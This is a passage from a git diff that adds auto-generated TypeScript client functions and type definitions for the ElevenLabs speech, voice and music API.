Options< + ElevenlabsPostV1SpeechToSpeechVoiceIdStreamOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1SpeechToSpeechVoiceIdStreamResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/speech-to-speech/{voice_id}/stream', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1SpeechToSpeechVoiceIdStreamResponses, + ThrowOnError + > + > +} + +/** + * @summary Speech To Text + * {@link /v1/speech-to-text} + */ +export function elevenlabsPostV1SpeechToText< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/speech-to-text', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Text To Dialogue (Multi-Voice) + * {@link /v1/text-to-dialogue} + */ +export function elevenlabsPostV1TextToDialogue< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-dialogue', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Text To Dialogue (Multi-Voice) Streaming + * {@link /v1/text-to-dialogue/stream} + */ +export function elevenlabsPostV1TextToDialogueStream< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-dialogue/stream', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Text To Dialogue Streaming With Timestamps + * {@link /v1/text-to-dialogue/stream/with-timestamps} + */ +export function elevenlabsPostV1TextToDialogueStreamWithTimestamps< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToDialogueStreamWithTimestampsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1TextToDialogueStreamWithTimestampsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-dialogue/stream/with-timestamps', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToDialogueStreamWithTimestampsResponses, + ThrowOnError + > + > +} + +/** + * @summary Text To Dialogue With Timestamps + * {@link /v1/text-to-dialogue/with-timestamps} + */ +export function elevenlabsPostV1TextToDialogueWithTimestamps< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToDialogueWithTimestampsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1TextToDialogueWithTimestampsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-dialogue/with-timestamps', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToDialogueWithTimestampsResponses, + ThrowOnError + > + > +} + +/** + * @summary Text To Speech + * {@link /v1/text-to-speech/:voice_id} + */ +export function elevenlabsPostV1TextToSpeechVoiceId< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-speech/{voice_id}', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Text To Speech Streaming + * {@link /v1/text-to-speech/:voice_id/stream} + */ +export function elevenlabsPostV1TextToSpeechVoiceIdStream< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToSpeechVoiceIdStreamOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1TextToSpeechVoiceIdStreamResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-speech/{voice_id}/stream', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToSpeechVoiceIdStreamResponses, + ThrowOnError + > + > +} + +/** + * @summary Text To Speech Streaming With Timestamps + * {@link /v1/text-to-speech/:voice_id/stream/with-timestamps} + */ +export function elevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestamps< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-speech/{voice_id}/stream/with-timestamps', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsResponses, + ThrowOnError + > + > +} + +/** + * @summary Text To Speech With Timestamps + * {@link /v1/text-to-speech/:voice_id/with-timestamps} + */ +export function elevenlabsPostV1TextToSpeechVoiceIdWithTimestamps< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-speech/{voice_id}/with-timestamps', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsResponses, + ThrowOnError + > + > +} + +/** + * @summary Create A New Voice From Voice Preview + * {@link /v1/text-to-voice} + */ +export function elevenlabsPostV1TextToVoice< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-voice', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary [Deprecated] Generate A Voice Preview From Description + * {@link /v1/text-to-voice/create-previews} + */ +export function elevenlabsPostV1TextToVoiceCreatePreviews< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToVoiceCreatePreviewsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1TextToVoiceCreatePreviewsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-voice/create-previews', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToVoiceCreatePreviewsResponses, + ThrowOnError + > + > +} + +/** + * @summary Design A Voice. + * {@link /v1/text-to-voice/design} + */ +export function elevenlabsPostV1TextToVoiceDesign< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-voice/design', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Remix A Voice. + * {@link /v1/text-to-voice/:voice_id/remix} + */ +export function elevenlabsPostV1TextToVoiceVoiceIdRemix< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1TextToVoiceVoiceIdRemixOptions, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/text-to-voice/{voice_id}/remix', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1TextToVoiceVoiceIdRemixResponses, + ThrowOnError + > + > +} + +/** + * @summary Add Voice + * {@link /v1/voices/add} + */ +export function elevenlabsPostV1VoicesAdd( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/add', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Add Shared Voice + * {@link /v1/voices/add/:public_user_id/:voice_id} + */ +export function elevenlabsPostV1VoicesAddPublicUserIdVoiceId< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/add/{public_user_id}/{voice_id}', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdResponses, + ThrowOnError + > + > +} + +/** + * @summary Create Voice Collection + * {@link /v1/voices/collections} + */ +export function elevenlabsPostV1VoicesCollections< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/collections', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Add Voice To Collection + * {@link /v1/voices/collections/:collection_id/voice/:voice_id} + */ +export function elevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceId< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/collections/{collection_id}/voice/{voice_id}', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdResponses, + ThrowOnError + > + > +} + +/** + * @summary Edit Voice + * {@link /v1/voices/:voice_id/edit} + */ +export function elevenlabsPostV1VoicesVoiceIdEdit< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/{voice_id}/edit', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Replicate Voice To Isolated Environment + * {@link /v1/voices/:voice_id/replicate-to-isolated-environment} + */ +export function elevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironment< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/{voice_id}/replicate-to-isolated-environment', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentResponses, + ThrowOnError + > + > +} + +/** + * @summary Edit Voice Settings + * {@link /v1/voices/:voice_id/settings/edit} + */ +export function elevenlabsPostV1VoicesVoiceIdSettingsEdit< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1VoicesVoiceIdSettingsEditOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1VoicesVoiceIdSettingsEditResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/voices/{voice_id}/settings/edit', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1VoicesVoiceIdSettingsEditResponses, + ThrowOnError + > + > +} diff --git a/packages/ai-elevenlabs/src/generated/client/types.ts b/packages/ai-elevenlabs/src/generated/client/types.ts new file mode 100644 index 0000000000..6d0123a8ae --- /dev/null +++ b/packages/ai-elevenlabs/src/generated/client/types.ts @@ -0,0 +1,5311 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const renderType = { + mp4: 'mp4', + aac: 'aac', + mp3: 'mp3', + wav: 'wav', + aaf: 'aaf', + tracks_zip: 'tracks_zip', + clips_zip: 'clips_zip', + zip: 'zip', +} as const + +export type RenderTypeKey = (typeof renderType)[keyof typeof renderType] + +/** + * @description Model representing a single character with its timing information from the aligner. + * @example {"end":0.02,"start":0,"text":"H"} + * @type object + */ +export type ForcedAlignmentCharacterResponseModel = { + /** + * @description The character that was transcribed. + * @type string + */ + text: string + /** + * @description The start time of the character in seconds. + * @type number + */ + start: number + /** + * @description The end time of the character in seconds. + * @type number + */ + end: number +} + +/** + * @description Model representing a single word with its timing information from the aligner. + * @example {"end":1.02,"loss":0.12,"start":0,"text":"Hello"} + * @type object + */ +export type ForcedAlignmentWordResponseModel = { + /** + * @description The word that was transcribed. + * @type string + */ + text: string + /** + * @description The start time of the word in seconds. + * @type number + */ + start: number + /** + * @description The end time of the word in seconds. + * @type number + */ + end: number + /** + * @description The average alignment loss/confidence score for this word, calculated from its constituent characters. + * @type number + */ + loss: number +} + +export type TimeRange = { + start_ms: number + end_ms: number +} + +export type AudioRefChunk = { + /** + * @description The ID of the song to source the chunk from. You can find the song ID in the response headers when you generate a song. + * @minLength 1 + * @maxLength 100 + * @type string + */ + song_id: string + /** + * @description The time range to extract from the song. + * @type object + */ + range: TimeRange +} + +export const conditionStrength = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', +} as const + +export type ConditionStrengthKey = + (typeof conditionStrength)[keyof typeof conditionStrength] + +export const generationChunkInputContextAdherenceEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type GenerationChunkInputContextAdherenceEnumKey = + (typeof generationChunkInputContextAdherenceEnum)[keyof typeof generationChunkInputContextAdherenceEnum] + +export type GenerationChunkInput = { + /** + * @description The text config to be generated for this chunk. Can contain an optional section name in square brackets at the beginning, e.g. [Verse 1], lyrics lines, and inline directions in curly braces, e.g. {scratching}. Section names must be between 1 and 100 characters. At most 30 lines are allowed, each at most 200 characters. + * @maxLength 6132 + * @type string + */ + text: string + /** + * @description The duration of the chunk in milliseconds. Must be between 3000ms and 120000ms. + * @minimum 3000 + * @maximum 120000 + * @type integer + */ + duration_ms: number + /** + * @description The styles and musical directions that should be present in this chunk. Use English language for best results. The styles for the first chunk are the most important as they set the overall tone and genre. Styles for subsequent chunks can be used to add nuance, progression, emphasis, or change the direction of the song. Aim to have at least 6-7 styles in early chunks until the direction is established. Generic styles like 'great production quality' are good default styles to append to the list. + * @type array + */ + positive_styles: string[] + /** + * @description The styles and musical directions that should not be present in this chunk. Use English language for best results. Leaving empty is a good default, only use this field if you want to explicitly avoid a particular style or direction. + * @type array | undefined + */ + negative_styles?: string[] + /** + * @description How much the model adheres to the context of its surrounding chunks. Low adherence means the model can deviate from the context and be more creative. High adherence means the model will be more consistent with the context. + * @default 'high' + * @type string | undefined + */ + context_adherence?: GenerationChunkInputContextAdherenceEnumKey + /** + * @description The audio reference to condition the generation on. The first chunk is the most important as it will influence the generation of all subsequent chunks. Thus, if you want to apply conditioning to the entire song, start conditioning from the first chunk. + */ + conditioning_ref?: AudioRefChunk | null + /** + * @description How strongly the model adheres to the conditioning reference. Low strength means the model will be more creative and deviate from the reference. High strength means the model will be more consistent with the reference. + */ + condition_strength?: ConditionStrengthKey | null +} + +/** + * @description Composition plan for the `music_v2` and `music_v2_5` models. Using this field with any other model will result in an error. + * @example {"chunks":[{"duration_ms":15000,"positive_styles":["pop","warm synths","steady groove","layered harmonies"],"text":"[Verse]\nCity lights are fading\nWe keep moving through the night"},{"duration_ms":15000,"positive_styles":["uplifting","bigger drums","wide vocals"],"text":"[Chorus]\nHold on to the feeling\n{very loud}Let it rise and come alive"},{"duration_ms":5000,"positive_styles":["gentle ending","soft pads"],"text":"[Instrumental Outro]"}]} + * @type object + */ +export type CompositionPlan = { + /** + * @description The chunks that make up the generation. + * @type array + */ + chunks: (GenerationChunkInput | AudioRefChunk)[] +} + +export const musicGenerationMode = { + track: 'track', + loop: 'loop', + ambience: 'ambience', + video_to_music: 'video_to_music', +} as const + +export type MusicGenerationModeKey = + (typeof musicGenerationMode)[keyof typeof musicGenerationMode] + +export const musicModelID = { + music_v1: 'music_v1', + music_v2: 'music_v2', + music_v2_5: 'music_v2_5', +} as const + +export type MusicModelIDKey = (typeof musicModelID)[keyof typeof musicModelID] + +export type SectionSource = { + /** + * @description The ID of the song to source the section from. You can find the song ID in the response headers when you generate a song. + * @minLength 1 + * @maxLength 100 + * @type string + */ + song_id: string + /** + * @description The range to extract from the source song. + * @type object + */ + range: TimeRange + /** + * @description The ranges to exclude from the 'range'. + * @type array | undefined + */ + negative_ranges?: TimeRange[] +} + +export type SongSection = { + /** + * @description The name of the section. Must be between 1 and 100 characters. + * @minLength 1 + * @maxLength 100 + * @type string + */ + section_name: string + /** + * @description The styles and musical directions that should be present in this section. Use English language for best result. + * @type array + */ + positive_local_styles: string[] + /** + * @description The styles and musical directions that should not be present in this section. Use English language for best result. + * @type array + */ + negative_local_styles: string[] + /** + * @description The duration of the section in milliseconds. Must be between 3000ms and 120000ms. + * @minimum 3000 + * @maximum 120000 + * @type integer + */ + duration_ms: number + /** + * @description The lyrics of the section. Max 30 lines per section and max 200 characters per line. + * @type array + */ + lines: string[] + /** + * @description Optional source to extract the section from. Used for inpainting. + */ + source_from?: SectionSource | null +} + +/** + * @description Composition plan for the `music_v1` model. Using this field with any other model will result in an error. + * @example {"negative_global_styles":["metal","hip-hop","country"],"positive_global_styles":["pop","rock","jazz"],"sections":[{"duration_ms":10000,"lines":["Verse 1 lyrics"],"negative_local_styles":["metal","hip-hop","country"],"positive_local_styles":["pop","rock","jazz"],"section_name":"Verse 1"}]} + * @type object + */ +export type MusicPrompt = { + /** + * @description The styles and musical directions that should be present in the entire song. Use English language for best result. + * @type array + */ + positive_global_styles: string[] + /** + * @description The styles and musical directions that should not be present in the entire song. Use English language for best result. + * @type array + */ + negative_global_styles: string[] + /** + * @description The sections of the song. + * @type array + */ + sections: SongSection[] +} + +export type WordTimestamp = { + word: string + start_ms: number + end_ms: number +} + +/** + * @example {"accent":"American","language":"en","model_id":"eleven_turbo_v2_5"} + * @type object + */ +export type VerifiedVoiceLanguageResponseModel = { + /** + * @description The language of the voice. + * @type string + */ + language: string + /** + * @description The voice's model ID. + * @type string + */ + model_id: string + /** + * @description The voice's accent, if applicable. + */ + accent?: string | null + /** + * @description The voice's locale, if applicable. + */ + locale?: string | null + /** + * @description The voice's preview URL, if applicable. + */ + preview_url?: string | null +} + +export const libraryVoiceResponseModelCategoryEnum = { + generated: 'generated', + cloned: 'cloned', + premade: 'premade', + professional: 'professional', + famous: 'famous', + high_quality: 'high_quality', +} as const + +export type LibraryVoiceResponseModelCategoryEnumKey = + (typeof libraryVoiceResponseModelCategoryEnum)[keyof typeof libraryVoiceResponseModelCategoryEnum] + +/** + * @example {"accent":"american","age":"young","category":"professional","cloned_by_count":11,"date_unix":1714423232,"description":"Perfectly calm, neutral and strong voice. Great for a young female protagonist.","descriptive":"calm","featured":false,"free_users_allowed":true,"gender":"Female","language":"en","live_moderation_enabled":false,"name":"Alita","play_api_usage_character_count_1y":12852,"preview_url":"https://storage.googleapis.com/eleven-public-prod/wqkMCd9huxXHX1dy5mLJn4QEQHj1/voices/sB1b5zUrxQVAFl2PhZFp/55e71aac-5cb7-4b3d-8241-429388160509.mp3","public_owner_id":"63e84100a6bf7874ba37a1bab9a31828a379ec94b891b401653b655c5110880f","rate":1,"usage_character_count_1y":12852,"usage_character_count_7d":12852,"use_case":"characters_animation","verified_languages":[{"accent":"american","language":"en","locale":"en-US","model_id":"eleven_multilingual_v2","preview_url":"https://storage.googleapis.com/eleven-public-prod/wqkMCd9huxXHX1dy5mLJn4QEQHj1/voices/sB1b5zUrxQVAFl2PhZFp/55e71aac-5cb7-4b3d-8241-429388160509.mp3"}],"voice_id":"sB1b5zUrxQVAFl2PhZFp"} + * @type object + */ +export type LibraryVoiceResponseModel = { + /** + * @description The public owner id of the voice. + * @type string + */ + public_owner_id: string + /** + * @description The id of the voice. + * @type string + */ + voice_id: string + /** + * @description The date the voice was added to the library in Unix time. + * @type integer + */ + date_unix: number + /** + * @description The name of the voice. + * @type string + */ + name: string + /** + * @description The accent of the voice. + * @type string + */ + accent: string + /** + * @description The gender of the voice. + * @type string + */ + gender: string + /** + * @description The age of the voice. + * @type string + */ + age: string + /** + * @description The descriptive of the voice. + * @type string + */ + descriptive: string + /** + * @description The use case of the voice. + * @type string + */ + use_case: string + /** + * @description The category of the voice. + * @type string + */ + category: LibraryVoiceResponseModelCategoryEnumKey + /** + * @description The language of the voice. + */ + language?: string | null + /** + * @description The locale of the voice. + */ + locale?: string | null + /** + * @description The description of the voice. + */ + description?: string | null + /** + * @description The preview URL of the voice. + */ + preview_url?: string | null + /** + * @description The usage character count of the voice in the last year. + * @type integer + */ + usage_character_count_1y: number + /** + * @description The usage character count of the voice in the last 7 days. + * @type integer + */ + usage_character_count_7d: number + /** + * @description The play API usage character count of the voice in the last year. + * @type integer + */ + play_api_usage_character_count_1y: number + /** + * @description The number of times the voice has been cloned. + * @type integer + */ + cloned_by_count: number + /** + * @description The rate multiplier of the voice. + */ + rate?: number | null + /** + * @description The rate of the voice in USD per 1000 credits. null if default + */ + fiat_rate?: number | null + /** + * @description Whether free users are allowed to use the voice. + * @type boolean + */ + free_users_allowed: boolean + /** + * @description Whether live moderation is enabled for the voice. + * @type boolean + */ + live_moderation_enabled: boolean + /** + * @description Whether the voice is featured. + * @type boolean + */ + featured: boolean + /** + * @description The verified languages of the voice. + */ + verified_languages?: VerifiedVoiceLanguageResponseModel[] | null + /** + * @description The notice period of the voice. + */ + notice_period?: number | null + /** + * @description The Instagram username of the voice. + */ + instagram_username?: string | null + /** + * @description The Twitter username of the voice. + */ + twitter_username?: string | null + /** + * @description The YouTube username of the voice. + */ + youtube_username?: string | null + /** + * @description The TikTok username of the voice. + */ + tiktok_username?: string | null + /** + * @description The image URL of the voice. + */ + image_url?: string | null + /** + * @description Whether the voice was added by the user. + */ + is_added_by_user?: boolean | null + /** + * @description Whether the voice is bookmarked by the current user. Only relevant when is_added_by_user is True. + */ + is_bookmarked?: boolean | null +} + +export const SFXModelId = { + eleven_text_to_sound_v2: 'eleven_text_to_sound_v2', + eleven_text_to_sound_v3: 'eleven_text_to_sound_v3', +} as const + +export type SFXModelIdKey = (typeof SFXModelId)[keyof typeof SFXModelId] + +export type SegmentedJsonExportOptions = { + /** + * @default true + * @type boolean | undefined + */ + include_speakers?: boolean + /** + * @default true + * @type boolean | undefined + */ + include_timestamps?: boolean + format: 'segmented_json' + segment_on_silence_longer_than_s?: number | null + max_segment_duration_s?: number | null + max_segment_chars?: number | null +} + +export type DocxExportOptions = { + /** + * @default true + * @type boolean | undefined + */ + include_speakers?: boolean + /** + * @default true + * @type boolean | undefined + */ + include_timestamps?: boolean + format: 'docx' + segment_on_silence_longer_than_s?: number | null + max_segment_duration_s?: number | null + max_segment_chars?: number | null +} + +export type PdfExportOptions = { + /** + * @default true + * @type boolean | undefined + */ + include_speakers?: boolean + /** + * @default true + * @type boolean | undefined + */ + include_timestamps?: boolean + format: 'pdf' + segment_on_silence_longer_than_s?: number | null + max_segment_duration_s?: number | null + max_segment_chars?: number | null +} + +export type TxtExportOptions = { + /** + * @default 100 + */ + max_characters_per_line?: number | null + /** + * @default true + * @type boolean | undefined + */ + include_speakers?: boolean + /** + * @default true + * @type boolean | undefined + */ + include_timestamps?: boolean + format: 'txt' + segment_on_silence_longer_than_s?: number | null + max_segment_duration_s?: number | null + max_segment_chars?: number | null +} + +export type HtmlExportOptions = { + /** + * @default true + * @type boolean | undefined + */ + include_speakers?: boolean + /** + * @default true + * @type boolean | undefined + */ + include_timestamps?: boolean + format: 'html' + segment_on_silence_longer_than_s?: number | null + max_segment_duration_s?: number | null + max_segment_chars?: number | null +} + +export type SrtExportOptions = { + /** + * @default 42 + */ + max_characters_per_line?: number | null + /** + * @default false + * @type boolean | undefined + */ + include_speakers?: boolean + /** + * @default true + * @type boolean | undefined + */ + include_timestamps?: boolean + format: 'srt' + /** + * @default 0.8 + */ + segment_on_silence_longer_than_s?: number | null + /** + * @default 4 + */ + max_segment_duration_s?: number | null + /** + * @default 84 + */ + max_segment_chars?: number | null +} + +export type ExportOptions = + | (SegmentedJsonExportOptions & { + format: 'segmented_json' + }) + | (DocxExportOptions & { + format: 'docx' + }) + | (PdfExportOptions & { + format: 'pdf' + }) + | (TxtExportOptions & { + format: 'txt' + }) + | (HtmlExportOptions & { + format: 'html' + }) + | (SrtExportOptions & { + format: 'srt' + }) + +export type AdditionalFormats = ExportOptions[] + +export type AdditionalFormatResponseModel = { + /** + * @description The requested format. + * @type string + */ + requested_format: string + /** + * @description The file extension of the additional format. + * @type string + */ + file_extension: string + /** + * @description The content type of the additional format. + * @type string + */ + content_type: string + /** + * @description Whether the content is base64 encoded. + * @type boolean + */ + is_base64_encoded: boolean + /** + * @description The content of the additional format. + * @type string + */ + content: string +} + +export type DetectedEntity = { + /** + * @description The text that was identified as an entity. + * @type string + */ + text: string + /** + * @description The type of entity detected (e.g., 'credit_card', 'email_address', 'person_name'). + * @type string + */ + entity_type: string + /** + * @description Start character position in the transcript text. + * @type integer + */ + start_char: number + /** + * @description End character position in the transcript text. + * @type integer + */ + end_char: number +} + +/** + * @description A transcript produced by the optional transcript edit (text only, untimed). + * @type object + */ +export type EditedTranscript = { + /** + * @default 'transcript' + * @type string + */ + kind: 'transcript' + /** + * @description The edited transcript text. + * @type string + */ + text: string + /** + * @description The edited transcript text. Same value as `text`; matches the `edited_text` field of the realtime `edited_transcript` event. + * @type string + */ + readonly edited_text: string +} + +/** + * @example {"end":0.1,"start":0,"text":"H"} + * @type object + */ +export type SpeechToTextCharacterResponseModel = { + /** + * @description The character that was transcribed. + * @type string + */ + text: string + /** + * @description The start time of the character in seconds. + */ + start?: number | null + /** + * @description The end time of the character in seconds. + */ + end?: number | null +} + +export const speechToTextWordResponseModelTypeEnum = { + word: 'word', + spacing: 'spacing', + audio_event: 'audio_event', +} as const + +export type SpeechToTextWordResponseModelTypeEnumKey = + (typeof speechToTextWordResponseModelTypeEnum)[keyof typeof speechToTextWordResponseModelTypeEnum] + +/** + * @description Word-level detail of the transcription with timing information. + * @example {"characters":[{"end":0.1,"start":0,"text":"H"},{"end":0.2,"start":0.1,"text":"e"},{"end":0.3,"start":0.2,"text":"l"},{"end":0.4,"start":0.3,"text":"l"},{"end":0.5,"start":0.4,"text":"o"}],"end":0.5,"logprob":-0.124,"speaker_id":"speaker_1","start":0,"text":"Hello","type":"word"} + * @type object + */ +export type SpeechToTextWordResponseModel = { + /** + * @description The word or sound that was transcribed. + * @type string + */ + text: string + /** + * @description The start time of the word or sound in seconds. + */ + start?: number | null + /** + * @description The end time of the word or sound in seconds. + */ + end?: number | null + /** + * @description The type of the word or sound. 'audio_event' is used for non-word sounds like laughter or footsteps. + * @type string + */ + type: SpeechToTextWordResponseModelTypeEnumKey + /** + * @description Unique identifier for the speaker of this word. + */ + speaker_id?: string | null + /** + * @description The log of the probability with which this word was predicted. Logprobs are in range [-infinity, 0], higher logprobs indicate a higher confidence the model has in its predictions. + * @type number + */ + logprob: number + /** + * @description The characters that make up the word and their timing information. + */ + characters?: SpeechToTextCharacterResponseModel[] | null + /** + * @description The channel this word was spoken on (for multichannel audio). Null for single-channel transcriptions. + */ + channel_index?: number | null +} + +/** + * @description An error returned in place of an edited transcript when the edit could not be produced. + * @type object + */ +export type TranscriptEditError = { + /** + * @default 'error' + * @type string + */ + kind: 'error' + /** + * @description edit_failed: the edit could not be produced. + 